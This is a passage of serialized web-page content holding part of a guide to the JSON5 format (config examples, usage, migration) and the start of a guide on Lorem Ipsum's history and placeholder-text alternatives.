signs\n",[1560,283577,283578],{"class":1562,"line":2529},[1560,283579,283580],{},"  positive: +10,\n",[1560,283582,283583],{"class":1562,"line":2534},[1560,283584,283585],{},"  negative: -10,\n",[1560,283587,283588],{"class":1562,"line":2542},[1560,283589,1702],{"emptyLinePlaceholder":363},[1560,283591,283592],{"class":1562,"line":2558},[1560,283593,283594],{},"  \u002F\u002F Infinity and NaN (in some implementations)\n",[1560,283596,283597],{"class":1562,"line":2570},[1560,283598,283599],{},"  \u002F\u002F max: Infinity,\n",[1560,283601,283602],{"class":1562,"line":6638},[1560,283603,283604],{},"  \u002F\u002F invalid: NaN\n",[1560,283606,283607],{"class":1562,"line":11615},[1560,283608,1585],{},[16,283610,283611,283613,283614,283616,283617,1459,283620,1459,283623,1466,283625,468],{},[47,283612,279080],{}," While JSON only allows ",[143,283615,137937],{},", JSON5 also allows ",[143,283618,283619],{},"+123",[143,283621,283622],{},"0x1F",[143,283624,76701],{},[143,283626,283627],{},"5.",[11,283629,283631],{"id":283630},"real-world-example-configuration-file","Real-World Example: Configuration File",[16,283633,283634],{},"Here's how JSON5 shines for configuration files:",[16,283636,283637],{},[47,283638,283639],{},"JSON (strict, no comments):",[135,283641,283643],{"className":23484,"code":283642,"language":23486,"meta":141,"style":141},"{\n  \"server\": {\n    \"port\": 3000,\n    \"host\": \"localhost\"\n  },\n  \"database\": {\n    \"url\": \"mongodb:\u002F\u002Flocalhost:27017\u002Fmyapp\",\n    \"options\": {\n      \"useNewUrlParser\": true,\n      \"useUnifiedTopology\": true\n    }\n  },\n  \"logging\": {\n    \"level\": \"info\",\n    \"format\": \"combined\"\n  }\n}\n",[143,283644,283645,283649,283655,283665,283673,283677,283683,283694,283701,283712,283721,283725,283729,283735,283745,283754,283758],{"__ignoreMap":141},[1560,283646,283647],{"class":1562,"line":1563},[1560,283648,23493],{"class":1570},[1560,283650,283651,283653],{"class":1562,"line":337},[1560,283652,137465],{"class":1576},[1560,283654,37098],{"class":1570},[1560,283656,283657,283659,283661,283663],{"class":1562,"line":343},[1560,283658,37115],{"class":1576},[1560,283660,1663],{"class":1570},[1560,283662,37120],{"class":1576},[1560,283664,11943],{"class":1570},[1560,283666,283667,283669,283671],{"class":1562,"line":365},[1560,283668,37148],{"class":1576},[1560,283670,1663],{"class":1570},[1560,283672,137486],{"class":5634},[1560,283674,283675],{"class":1562,"line":889},[1560,283676,11862],{"class":1570},[1560,283678,283679,283681],{"class":1562,"line":1710},[1560,283680,37141],{"class":1576},[1560,283682,37098],{"class":1570},[1560,283684,283685,283687,283689,283692],{"class":1562,"line":1717},[1560,283686,137501],{"class":1576},[1560,283688,1663],{"class":1570},[1560,283690,283691],{"class":5634},"\"mongodb:\u002F\u002Flocalhost:27017\u002Fmyapp\"",[1560,283693,11943],{"class":1570},[1560,283695,283696,283699],{"class":1562,"line":1747},[1560,283697,283698],{"class":1576},"    \"options\"",[1560,283700,37098],{"class":1570},[1560,283702,283703,283706,283708,283710],{"class":1562,"line":2507},[1560,283704,283705],{"class":1576},"      \"useNewUrlParser\"",[1560,283707,1663],{"class":1570},[1560,283709,20533],{"class":1576},[1560,283711,11943],{"class":1570},[1560,283713,283714,283717,283719],{"class":1562,"line":2524},[1560,283715,283716],{"class":1576},"      \"useUnifiedTopology\"",[1560,283718,1663],{"class":1570},[1560,283720,23527],{"class":1576},[1560,283722,283723],{"class":1562,"line":2529},[1560,283724,11612],{"class":1570},[1560,283726,283727],{"class":1562,"line":2534},[1560,283728,11862],{"class":1570},[1560,283730,283731,283733],{"class":1562,"line":2542},[1560,283732,137526],{"class":1576},[1560,283734,37098],{"class":1570},[1560,283736,283737,283739,283741,283743],{"class":1562,"line":2558},[1560,283738,81856],{"class":1576},[1560,283740,1663],{"class":1570},[1560,283742,137537],{"class":5634},[1560,283744,11943],{"class":1570},[1560,283746,283747,283749,283751],{"class":1562,"line":2570},[1560,283748,137544],{"class":1576},[1560,283750,1663],{"class":1570},[1560,283752,283753],{"class":5634},"\"combined\"\n",[1560,283755,283756],{"class":1562,"line":6638},[1560,283757,4959],{"class":1570},[1560,283759,283760],{"class":1562,"line":11615},[1560,283761,1585],{"class":1570},[16,283763,283764],{},[47,283765,283766],{},"JSON5 (readable, with comments):",[135,283768,283770],{"className":282969,"code":283769,"language":282971,"meta":141,"style":141},"{\n  \u002F\u002F Server configuration\n  server: {\n    port: 3000,        \u002F\u002F Development port\n    host: 'localhost',\n  },\n\n  \u002F\u002F Database settings\n  database: {\n    url: 'mongodb:\u002F\u002Flocalhost:27017\u002Fmyapp',\n    options: {\n      useNewUrlParser: true,\n      useUnifiedTopology: true,\n      \u002F\u002F Enable debug mode in development\n      debug: false,\n    },\n  },\n\n  \u002F\u002F Logging configuration\n  logging: {\n    level: 'info',\n    format: 'combined',\n    \u002F\u002F outputs: ['console', 'file'],  \u002F\u002F Commented out for now\n  },\n}\n",[143,283771,283772,283776,283781,283785,283790,283795,283799,283803,283808,283813,283818,283823,283828,283833,283838,283843,283847,283851,283855,283860,283865,283870,283875,283883,283887],{"__ignoreMap":141},[1560,283773,283774],{"class":1562,"line":1563},[1560,283775,23493],{},[1560,283777,283778],{"class":1562,"line":337},[1560,283779,283780],{},"  \u002F\u002F Server configuration\n",[1560,283782,283783],{"class":1562,"line":343},[1560,283784,143755],{},[1560,283786,283787],{"class":1562,"line":365},[1560,283788,283789],{},"    port: 3000,        \u002F\u002F Development port\n",[1560,283791,283792],{"class":1562,"line":889},[1560,283793,283794],{},"    host: 'localhost',\n",[1560,283796,283797],{"class":1562,"line":1710},[1560,283798,11862],{},[1560,283800,283801],{"class":1562,"line":1717},[1560,283802,1702],{"emptyLinePlaceholder":363},[1560,283804,283805],{"class":1562,"line":1747},[1560,283806,283807],{},"  \u002F\u002F Database settings\n",[1560,283809,283810],{"class":1562,"line":2507},[1560,283811,283812],{},"  database: {\n",[1560,283814,283815],{"class":1562,"line":2524},[1560,283816,283817],{},"    url: 'mongodb:\u002F\u002Flocalhost:27017\u002Fmyapp',\n",[1560,283819,283820],{"class":1562,"line":2529},[1560,283821,283822],{},"    options: {\n",[1560,283824,283825],{"class":1562,"line":2534},[1560,283826,283827],{},"      useNewUrlParser: true,\n",[1560,283829,283830],{"class":1562,"line":2542},[1560,283831,283832],{},"      useUnifiedTopology: true,\n",[1560,283834,283835],{"class":1562,"line":2558},[1560,283836,283837],{},"      \u002F\u002F Enable debug mode in development\n",[1560,283839,283840],{"class":1562,"line":2570},[1560,283841,283842],{},"      debug: false,\n",[1560,283844,283845],{"class":1562,"line":6638},[1560,283846,17600],{},[1560,283848,283849],{"class":1562,"line":11615},[1560,283850,11862],{},[1560,283852,283853],{"class":1562,"line":11621},[1560,283854,1702],{"emptyLinePlaceholder":363},[1560,283856,283857],{"class":1562,"line":11633},[1560,283858,283859],{},"  \u002F\u002F Logging configuration\n",[1560,283861,283862],{"class":1562,"line":11638},[1560,283863,283864],{},"  logging: {\n",[1560,283866,283867],{"class":1562,"line":11672},[1560,283868,283869],{},"    level: 'info',\n",[1560,283871,283872],{"class":1562,"line":19435},[1560,283873,283874],{},"    format: 'combined',\n",[1560,283876,283877,283880],{"class":1562,"line":19442},[1560,283878,283879],{},"    \u002F\u002F outputs: ['console', 'file'],",[1560,283881,283882],{},"  \u002F\u002F Commented out for now\n",[1560,283884,283885],{"class":1562,"line":19475},[1560,283886,11862],{},[1560,283888,283889],{"class":1562,"line":19508},[1560,283890,1585],{},[11,283892,283894],{"id":283893},"when-to-use-json5","When to Use JSON5",[33,283896,274684],{"id":274683},[77,283898,283899,283913,283919,283925,283931],{},[44,283900,283901,23567,283904,1459,283907,1459,283910],{},[47,283902,283903],{},"Configuration Files",[143,283905,283906],{},".eslintrc.json5",[143,283908,283909],{},".babelrc.json5",[143,283911,283912],{},"tsconfig.json5",[44,283914,283915,283918],{},[47,283916,283917],{},"Human-Edited Data"," — When non-programmers need to edit the file",[44,283920,283921,283924],{},[47,283922,283923],{},"Development Tools"," — Build configs, linter rules, task definitions",[44,283926,283927,283930],{},[47,283928,283929],{},"Documentation Examples"," — Code samples with explanatory comments",[44,283932,283933,283935],{},[47,283934,168035],{}," — Quick data structures during development",[33,283937,283939],{"id":283938},"when-not-to-use-json5","❌ When NOT to Use JSON5",[77,283941,283942,283948,283954,283960,283966],{},[44,283943,283944,283947],{},[47,283945,283946],{},"API Requests\u002FResponses"," — Stick to standard JSON for interoperability",[44,283949,283950,283953],{},[47,283951,283952],{},"Data Exchange"," — Third-party integrations expect standard JSON",[44,283955,283956,283959],{},[47,283957,283958],{},"Database Storage"," — Most databases expect standard JSON",[44,283961,283962,283965],{},[47,283963,283964],{},"Public-Facing Formats"," — If external systems consume your data",[44,283967,283968,283971],{},[47,283969,283970],{},"Strict Validation Environments"," — When schema validation expects JSON",[11,283973,283975],{"id":283974},"using-json5-in-your-project","Using JSON5 in Your Project",[33,283977,283979],{"id":283978},"javascriptnodejs","JavaScript\u002FNode.js",[135,283981,283983],{"className":6951,"code":283982,"language":6953,"meta":141,"style":141},"npm install json5\n",[143,283984,283985],{"__ignoreMap":141},[1560,283986,283987,283989,283991],{"class":1562,"line":1563},[1560,283988,41383],{"class":1566},[1560,283990,9023],{"class":5634},[1560,283992,283993],{"class":5634}," json5\n",[135,283995,283997],{"className":1607,"code":283996,"language":1609,"meta":141,"style":141},"const JSON5 = require('json5');\n\n\u002F\u002F Parsing JSON5\nconst config = JSON5.parse(`\n  \u002F\u002F Configuration\n  server: {\n    port: 3000,\n  }\n`);\n\n\u002F\u002F Stringifying to JSON5\nconst output = JSON5.stringify({ x: 1, y: 2 }, null, 2);\n",[143,283998,283999,284017,284021,284026,284044,284049,284053,284058,284062,284068,284072,284077],{"__ignoreMap":141},[1560,284000,284001,284003,284006,284008,284010,284012,284015],{"class":1562,"line":1563},[1560,284002,8180],{"class":1669},[1560,284004,284005],{"class":1576}," JSON5",[1560,284007,8186],{"class":1669},[1560,284009,20658],{"class":1566},[1560,284011,1688],{"class":1570},[1560,284013,284014],{"class":5634},"'json5'",[1560,284016,1744],{"class":1570},[1560,284018,284019],{"class":1562,"line":337},[1560,284020,1702],{"emptyLinePlaceholder":363},[1560,284022,284023],{"class":1562,"line":343},[1560,284024,284025],{"class":1649},"\u002F\u002F Parsing JSON5\n",[1560,284027,284028,284030,284032,284034,284036,284038,284040,284042],{"class":1562,"line":365},[1560,284029,8180],{"class":1669},[1560,284031,154519],{"class":1576},[1560,284033,8186],{"class":1669},[1560,284035,284005],{"class":1576},[1560,284037,468],{"class":1570},[1560,284039,80838],{"class":1566},[1560,284041,1688],{"class":1570},[1560,284043,9275],{"class":5634},[1560,284045,284046],{"class":1562,"line":889},[1560,284047,284048],{"class":5634},"  \u002F\u002F Configuration\n",[1560,284050,284051],{"class":1562,"line":1710},[1560,284052,143755],{"class":5634},[1560,284054,284055],{"class":1562,"line":1717},[1560,284056,284057],{"class":5634},"    port: 3000,\n",[1560,284059,284060],{"class":1562,"line":1747},[1560,284061,4959],{"class":5634},[1560,284063,284064,284066],{"class":1562,"line":2507},[1560,284065,8219],{"class":5634},[1560,284067,1744],{"class":1570},[1560,284069,284070],{"class":1562,"line":2524},[1560,284071,1702],{"emptyLinePlaceholder":363},[1560,284073,284074],{"class":1562,"line":2529},[1560,284075,284076],{"class":1649},"\u002F\u002F Stringifying to JSON5\n",[1560,284078,284079,284081,284083,284085,284087,284089,284091,284094,284096,284099,284101,284103,284105,284107,284109],{"class":1562,"line":2534},[1560,284080,8180],{"class":1669},[1560,284082,49604],{"class":1576},[1560,284084,8186],{"class":1669},[1560,284086,284005],{"class":1576},[1560,284088,468],{"class":1570},[1560,284090,82298],{"class":1566},[1560,284092,284093],{"class":1570},"({ x: ",[1560,284095,3585],{"class":1576},[1560,284097,284098],{"class":1570},", y: ",[1560,284100,10099],{"class":1576},[1560,284102,11968],{"class":1570},[1560,284104,80702],{"class":1576},[1560,284106,1459],{"class":1570},[1560,284108,10099],{"class":1576},[1560,284110,1744],{"class":1570},[33,284112,284114],{"id":284113},"build-tools-integration","Build Tools Integration",[16,284116,284117],{},"Many tools support JSON5 natively or via plugins:",[41,284119,284120,284131,284139],{},[44,284121,284122,1663,284124,284126,284127,284130],{},[47,284123,28530],{},[143,284125,283906],{}," (with ",[143,284128,284129],{},"--config"," flag)",[44,284132,284133,1663,284136],{},[47,284134,284135],{},"PostCSS",[143,284137,284138],{},"postcss.config.json5",[44,284140,284141,284144,284145,284147],{},[47,284142,284143],{},"Babel",": via ",[143,284146,282971],{}," package in config files",[11,284149,5512],{"id":5511},[16,284151,284152],{},"JSON5 is not natively supported in browsers — you need to parse it with a library:",[135,284154,284156],{"className":6417,"code":284155,"language":6419,"meta":141,"style":141},"\u003Cscript src=\"https:\u002F\u002Funpkg.com\u002Fjson5@2\u002Fdist\u002Findex.min.js\">\u003C\u002Fscript>\n\u003Cscript>\n  const data = JSON5.parse('{ key: \"value\" }');\n  console.log(data);\n\u003C\u002Fscript>\n",[143,284157,284158,284177,284185,284206,284214],{"__ignoreMap":141},[1560,284159,284160,284162,284164,284166,284168,284171,284173,284175],{"class":1562,"line":1563},[1560,284161,6431],{"class":1570},[1560,284163,11475],{"class":2484},[1560,284165,10631],{"class":1566},[1560,284167,7297],{"class":1570},[1560,284169,284170],{"class":5634},"\"https:\u002F\u002Funpkg.com\u002Fjson5@2\u002Fdist\u002Findex.min.js\"",[1560,284172,12441],{"class":1570},[1560,284174,11475],{"class":2484},[1560,284176,6441],{"class":1570},[1560,284178,284179,284181,284183],{"class":1562,"line":337},[1560,284180,6431],{"class":1570},[1560,284182,11475],{"class":2484},[1560,284184,6441],{"class":1570},[1560,284186,284187,284189,284191,284193,284195,284197,284199,284201,284204],{"class":1562,"line":343},[1560,284188,28057],{"class":1669},[1560,284190,229483],{"class":1576},[1560,284192,8186],{"class":1669},[1560,284194,284005],{"class":1576},[1560,284196,468],{"class":1570},[1560,284198,80838],{"class":1566},[1560,284200,1688],{"class":1570},[1560,284202,284203],{"class":5634},"'{ key: \"value\" }'",[1560,284205,1744],{"class":1570},[1560,284207,284208,284210,284212],{"class":1562,"line":365},[1560,284209,9717],{"class":1570},[1560,284211,8214],{"class":1566},[1560,284213,136066],{"class":1570},[1560,284215,284216,284218,284220],{"class":1562,"line":889},[1560,284217,11242],{"class":1570},[1560,284219,11475],{"class":2484},[1560,284221,6441],{"class":1570},[11,284223,284225],{"id":284224},"migration-from-json-to-json5","Migration from JSON to JSON5",[16,284227,284228],{},"Converting is straightforward — JSON is valid JSON5:",[77,284230,284231,284238,284241,284244,284247],{},[44,284232,284233,284234,5255,284236],{},"Rename your file from ",[143,284235,282907],{},[143,284237,282912],{},[44,284239,284240],{},"Add comments where helpful",[44,284242,284243],{},"Remove unnecessary quotes from keys",[44,284245,284246],{},"Add trailing commas for easier editing",[44,284248,284249],{},"Use single quotes where convenient",[11,284251,208883],{"id":161627},[16,284253,284254],{},"JSON5 brings developer-friendly features to the JSON format:",[193,284256,284257,284265],{},[196,284258,284259],{},[199,284260,284261,284263],{},[202,284262,5867],{},[202,284264,106374],{},[211,284266,284267,284274,284281,284289,284297,284304],{},[199,284268,284269,284271],{},[216,284270,36954],{},[216,284272,284273],{},"Document your configs",[199,284275,284276,284278],{},[216,284277,137412],{},[216,284279,284280],{},"Easier editing, cleaner diffs",[199,284282,284283,284286],{},[216,284284,284285],{},"Unquoted keys",[216,284287,284288],{},"Less typing, cleaner look",[199,284290,284291,284294],{},[216,284292,284293],{},"Single quotes",[216,284295,284296],{},"Avoid escape hell",[199,284298,284299,284301],{},[216,284300,36995],{},[216,284302,284303],{},"Better readability",[199,284305,284306,284309],{},[216,284307,284308],{},"Enhanced numbers",[216,284310,284311],{},"Hex, leading dots",[16,284313,284314,284317],{},[47,284315,284316],{},"Bottom line:"," Use JSON5 for human-maintained files (configs, settings), but stick to standard JSON for data interchange (APIs, databases, third-party integrations).",[11,284319,257800],{"id":257799},[41,284321,284322],{},[44,284323,284324,284326],{},[98,284325,37777],{"href":37776}," — Format and validate standard JSON",[2043,284328,284329],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":284331},[284332,284333,284334,284335,284336,284337,284338,284339,284340,284341,284345,284349,284350,284351,284352],{"id":282792,"depth":337,"text":282793},{"id":282809,"depth":337,"text":282810},{"id":282915,"depth":337,"text":282916},{"id":283017,"depth":337,"text":283018},{"id":283173,"depth":337,"text":283174},{"id":283355,"depth":337,"text":283356},{"id":283456,"depth":337,"text":283457},{"id":283519,"depth":337,"text":283520},{"id":283630,"depth":337,"text":283631},{"id":283893,"depth":337,"text":283894,"children":284342},[284343,284344],{"id":274683,"depth":343,"text":274684},{"id":283938,"depth":343,"text":283939},{"id":283974,"depth":337,"text":283975,"children":284346},[284347,284348],{"id":283978,"depth":343,"text":283979},{"id":284113,"depth":343,"text":284114},{"id":5511,"depth":337,"text":5512},{"id":284224,"depth":337,"text":284225},{"id":161627,"depth":337,"text":208883},{"id":257799,"depth":337,"text":257800},"Discover JSON5 features: comments, trailing commas, unquoted keys, multiline strings. Compare with JSON and learn when to use JSON5 in your projects.",{"immutable":363},"\u002Fguides\u002Fjson5-introduction",{"title":282787,"description":284353},"guides\u002Fjson5-introduction","Jpagp_dlLFbq8AJ8E181y1xZsEomIioF7WxJNKzhwyg",{"id":284360,"title":284361,"body":284362,"date":257855,"description":285136,"extension":361,"meta":285137,"navigation":363,"path":256601,"readingTime":2507,"seo":285138,"stem":285139,"__hash__":285140},"guides\u002Fguides\u002Florem-ipsum-explained.md","What is Lorem Ipsum? History and Modern Alternatives",{"type":8,"value":284363,"toc":285087},[284364,284368,284371,284374,284377,284382,284386,284390,284393,284400,284404,284407,284412,284415,284420,284424,284427,284430,284433,284437,284441,284444,284448,284451,284455,284458,284462,284465,284469,284473,284476,284528,284531,284535,284538,284542,284545,284549,284552,284556,284559,284570,284574,284577,284581,284584,284588,284591,284595,284598,284612,284617,284621,284624,284629,284634,284638,284641,284646,284651,284655,284658,284663,284668,284672,284675,284680,284685,284689,284692,284697,284702,284706,284709,284714,284719,284723,284726,284745,284749,284753,284813,284817,284820,284900,284904,284910,284959,284963,284967,284970,284974,284977,284981,284984,284988,284991,284995,284998,285029,285033,285065,285067,285070,285073,285076,285078,285084],[11,284365,284367],{"id":284366},"what-is-lorem-ipsum","What is Lorem Ipsum?",[16,284369,284370],{},"If you've ever worked with design software, website builders, or content management systems, you've almost certainly encountered Lorem Ipsum. This seemingly meaningless jumble of Latin words has been the standard placeholder text in the printing and typesetting industry since the 1500s.",[16,284372,284373],{},"Lorem Ipsum is simply dummy text used by designers, developers, and typesetters to fill space in layouts before the actual content is available. Its primary purpose is to demonstrate the visual form of a document or typeface without being distracted by meaningful content.",[16,284375,284376],{},"The most common Lorem Ipsum passage begins:",[95741,284378,284379],{},[16,284380,284381],{},"\"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\"",[11,284383,284385],{"id":284384},"the-surprising-origins-of-lorem-ipsum","The Surprising Origins of Lorem Ipsum",[33,284387,284389],{"id":284388},"classical-roots","Classical Roots",[16,284391,284392],{},"Contrary to what many believe, Lorem Ipsum is not random gibberish invented by a 20th-century graphic designer. Its origins trace back to 45 BC, to a work by the Roman statesman and philosopher Marcus Tullius Cicero.",[16,284394,284395,284396,284399],{},"The text comes from Cicero's philosophical treatise ",[47,284397,284398],{},"\"De Finibus Bonorum et Malorum\""," (On the Ends of Good and Evil), written in 45 BC. The specific section used is from the first book, where Cicero discusses the ethical philosophical schools of the time.",[33,284401,284403],{"id":284402},"the-original-latin-text","The Original Latin Text",[16,284405,284406],{},"The original Latin passage reads:",[95741,284408,284409],{},[16,284410,284411],{},"\"Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit...\"",[16,284413,284414],{},"This translates roughly to:",[95741,284416,284417],{},[16,284418,284419],{},"\"Nor is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but occasionally circumstances occur in which toil and pain can procure him some great pleasure.\"",[33,284421,284423],{"id":284422},"how-it-became-lorem-ipsum","How It Became Lorem Ipsum",[16,284425,284426],{},"The transformation from meaningful Latin to the garbled Lorem Ipsum we know today happened during the Renaissance. In the 1500s, an unknown printer in the Holy Roman Empire (likely in Leipzig or Mainz, Germany) took a galley of type and scrambled the letters to create a specimen book.",[16,284428,284429],{},"This printer needed to demonstrate various typefaces and layouts without using real, readable text that would distract from the design. By scrambling Cicero's well-known text, they created a passage that looked like Latin but was meaningless enough not to distract viewers.",[16,284431,284432],{},"The key phrase \"Lorem ipsum\" comes from \"dolorem ipsum\" (pain itself) in the original text. The printer likely rearranged the type, starting with \"Lorem\" from elsewhere in the scrambled text.",[11,284434,284436],{"id":284435},"why-lorem-ipsum-became-the-industry-standard","Why Lorem Ipsum Became the Industry Standard",[33,284438,284440],{"id":284439},"_1-it-has-a-natural-look","1. It Has a Natural Look",[16,284442,284443],{},"Lorem Ipsum mimics the natural letter frequency and word length distribution of real Latin, which itself closely approximates the characteristics of many modern European languages. This gives layouts a realistic appearance that purely random text cannot achieve.",[33,284445,284447],{"id":284446},"_2-it-doesnt-distract-from-design","2. It Doesn't Distract from Design",[16,284449,284450],{},"Because Lorem Ipsum is meaningless to most viewers, it doesn't draw attention to itself. Readers focus on the layout, typography, and visual hierarchy rather than trying to read and understand the content.",[33,284452,284454],{"id":284453},"_3-it-has-a-long-history","3. It Has a Long History",[16,284456,284457],{},"With over 500 years of use, Lorem Ipsum has become a tradition in the design world. Design students learn about it early in their education, and it's built into virtually every design tool and framework.",[33,284459,284461],{"id":284460},"_4-its-universally-recognized","4. It's Universally Recognized",[16,284463,284464],{},"Designers, developers, and clients worldwide recognize Lorem Ipsum. When stakeholders see it in a mockup, they instantly understand that the content is placeholder and doesn't represent final copy.",[11,284466,284468],{"id":284467},"the-characteristics-of-lorem-ipsum","The Characteristics of Lorem Ipsum",[33,284470,284472],{"id":284471},"letter-frequency","Letter Frequency",[16,284474,284475],{},"Lorem Ipsum maintains a letter distribution remarkably similar to real languages:",[193,284477,284478,284490],{},[196,284479,284480],{},[199,284481,284482,284484,284487],{},[202,284483,23146],{},[202,284485,284486],{},"Frequency in Lorem Ipsum",[202,284488,284489],{},"Typical in English",[211,284491,284492,284501,284510,284519],{},[199,284493,284494,284496,284499],{},[216,284495,96224],{},[216,284497,284498],{},"~12.7%",[216,284500,284498],{},[199,284502,284503,284505,284508],{},[216,284504,183791],{},[216,284506,284507],{},"~9.1%",[216,284509,284507],{},[199,284511,284512,284514,284517],{},[216,284513,98],{},[216,284515,284516],{},"~8.2%",[216,284518,284516],{},[199,284520,284521,284523,284526],{},[216,284522,25584],{},[216,284524,284525],{},"~7.5%",[216,284527,284525],{},[16,284529,284530],{},"This natural distribution makes the text look \"right\" in layouts, unlike randomly generated strings.",[33,284532,284534],{"id":284533},"word-length-distribution","Word Length Distribution",[16,284536,284537],{},"Lorem Ipsum contains a mix of short and long words, creating a realistic rag (the uneven edge of text blocks) in justified or left-aligned text.",[11,284539,284541],{"id":284540},"common-criticisms-of-lorem-ipsum","Common Criticisms of Lorem Ipsum",[16,284543,284544],{},"Despite its popularity, Lorem Ipsum has several drawbacks that have led some designers to seek alternatives.",[33,284546,284548],{"id":284547},"_1-its-meaningless","1. It's Meaningless",[16,284550,284551],{},"Critics argue that using meaningless text doesn't help stakeholders understand how the design will work with real content. A headline in Lorem Ipsum might be three words, while the actual headline might be fifteen words.",[33,284553,284555],{"id":284554},"_2-it-doesnt-test-content-constraints","2. It Doesn't Test Content Constraints",[16,284557,284558],{},"Because Lorem Ipsum is typically inserted without regard for actual content length, it doesn't reveal problems like:",[41,284560,284561,284564,284567],{},[44,284562,284563],{},"Text overflow in fixed-height containers",[44,284565,284566],{},"Line breaks in inappropriate places",[44,284568,284569],{},"Truncation issues with cards or previews",[33,284571,284573],{"id":284572},"_3-it-can-confuse-non-designers","3. It Can Confuse Non-Designers",[16,284575,284576],{},"Clients unfamiliar with design conventions might think the Lorem Ipsum text is a mistake or a bug, leading to unnecessary questions and revisions.",[33,284578,284580],{"id":284579},"_4-seo-implications","4. SEO Implications",[16,284582,284583],{},"While Lorem Ipsum in development environments doesn't directly affect SEO (it shouldn't appear on live sites), some content management systems have accidentally published pages with Lorem Ipsum, causing SEO issues.",[11,284585,284587],{"id":284586},"modern-alternatives-to-lorem-ipsum","Modern Alternatives to Lorem Ipsum",[16,284589,284590],{},"As web design has evolved, so have the alternatives to traditional Lorem Ipsum. Here are the most popular options:",[33,284592,284594],{"id":284593},"_1-real-content-best-practice","1. Real Content (Best Practice)",[16,284596,284597],{},"The gold standard for placeholder text is actual content, even if it's draft quality. Real content helps you:",[41,284599,284600,284603,284606,284609],{},[44,284601,284602],{},"Test information architecture",[44,284604,284605],{},"Validate content length assumptions",[44,284607,284608],{},"Identify layout problems early",[44,284610,284611],{},"Make better design decisions",[16,284613,284614,284616],{},[47,284615,29647],{},": Whenever possible, especially for final designs and client presentations.",[33,284618,284620],{"id":284619},"_2-bacon-ipsum","2. Bacon Ipsum",[16,284622,284623],{},"A humorous alternative that uses meat-related phrases:",[95741,284625,284626],{},[16,284627,284628],{},"\"Bacon ipsum dolor amet brisket strip steak prosciutto, pastrami ham hock turducken...\"",[16,284630,284631,284633],{},[47,284632,61666],{},": Food-related websites, casual projects, or when you want to inject some personality.",[33,284635,284637],{"id":284636},"_3-cat-ipsum","3. Cat Ipsum",[16,284639,284640],{},"Features cat-themed nonsense:",[95741,284642,284643],{},[16,284644,284645],{},"\"Cat ipsum dolor sit amet, jump launch to pounce upon little yarn mouse...\"",[16,284647,284648,284650],{},[47,284649,61666],{},": Pet-related sites, playful designs, or projects targeting cat lovers.",[33,284652,284654],{"id":284653},"_4-corporate-ipsum","4. Corporate Ipsum",[16,284656,284657],{},"Business-speak placeholder text:",[95741,284659,284660],{},[16,284661,284662],{},"\"Synergistically negotiate cross-media infrastructures vis-a-vis visionary experiences...\"",[16,284664,284665,284667],{},[47,284666,61666],{},": Corporate websites, B2B applications, professional services sites.",[33,284669,284671],{"id":284670},"_5-cupcake-ipsum","5. Cupcake Ipsum",[16,284673,284674],{},"Sweet-themed dummy text:",[95741,284676,284677],{},[16,284678,284679],{},"\"Cupcake ipsum dolor sit. Amet chocolate cake candy jelly beans marshmallow...\"",[16,284681,284682,284684],{},[47,284683,61666],{},": Bakeries, dessert shops, food blogs, or feminine-leaning designs.",[33,284686,284688],{"id":284687},"_6-samual-l-ipsum","6. Samual L. Ipsum",[16,284690,284691],{},"Features family-friendly versions of Samuel L. Jackson's famous movie lines:",[95741,284693,284694],{},[16,284695,284696],{},"\"The name is Ipsum, Motherfuncit. Lorem Ipsum dolor sit amet...\"",[16,284698,284699,284701],{},[47,284700,61666],{},": Entertainment sites, edgy brands (with appropriate audience).",[33,284703,284705],{"id":284704},"_7-gangnam-style-ipsum","7. Gangnam Style Ipsum",[16,284707,284708],{},"K-pop inspired placeholder text:",[95741,284710,284711],{},[16,284712,284713],{},"\"Oppan Lorem Ipsum style. Dolor sit amet, consectetur adipiscing elit...\"",[16,284715,284716,284718],{},[47,284717,61666],{},": Music sites, Korean culture content, trendy designs.",[33,284720,284722],{"id":284721},"_8-ai-generated-placeholder-text","8. AI-Generated Placeholder Text",[16,284724,284725],{},"Modern tools can generate context-aware placeholder text:",[41,284727,284728,284734,284740],{},[44,284729,284730,284733],{},[47,284731,284732],{},"ChatGPT\u002FClaude",": Generate paragraphs about your specific topic",[44,284735,284736,284739],{},[47,284737,284738],{},"Content generators",": Create industry-specific dummy text",[44,284741,284742,284744],{},[47,284743,6738],{},": Programmatically generate realistic content in code",[11,284746,284748],{"id":284747},"practical-implementation-in-web-development","Practical Implementation in Web Development",[33,284750,284752],{"id":284751},"using-lorem-ipsum-in-html","Using Lorem Ipsum in HTML",[135,284754,284756],{"className":6417,"code":284755,"language":6419,"meta":141,"style":141},"\u003Carticle>\n  \u003Ch2>Lorem ipsum dolor sit amet\u003C\u002Fh2>\n  \u003Cp>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\u003C\u002Fp>\n  